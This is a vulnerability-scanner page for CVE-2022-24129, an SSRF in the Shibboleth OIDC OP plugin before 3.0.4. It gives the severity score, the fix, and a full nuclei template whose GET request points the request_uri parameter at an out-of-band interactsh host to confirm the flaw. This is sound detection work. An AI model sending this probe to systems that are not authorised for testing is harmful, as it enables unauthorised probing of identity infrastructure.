Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery

highseverity

8.2CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.

Impact

An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure.

Fix

Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "ShibbolethIdp"

Run it with nuclei: nuclei -id CVE-2022-24129 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-24129

info:
  name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure.
  remediation: |
    Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability.
  reference:
    - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF
    - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP
    - http://shibboleth.net/community/advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24129
    - http://shibboleth.net/community/advisories/secadv_20220131.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-24129
    cwe-id: CWE-918
    epss-score: 0.06139
    epss-percentile: 0.93512
    cpe: cpe:2.3:a:shibboleth:oidc_op:*:*:*:*:*:identity_provider:*:*
  metadata:
    max-request: 1
    vendor: shibboleth
    product: oidc_op
    framework: identity_provider
  tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "ShibbolethIdp"

References

Use this check only on systems you are authorised to test. Where the data comes from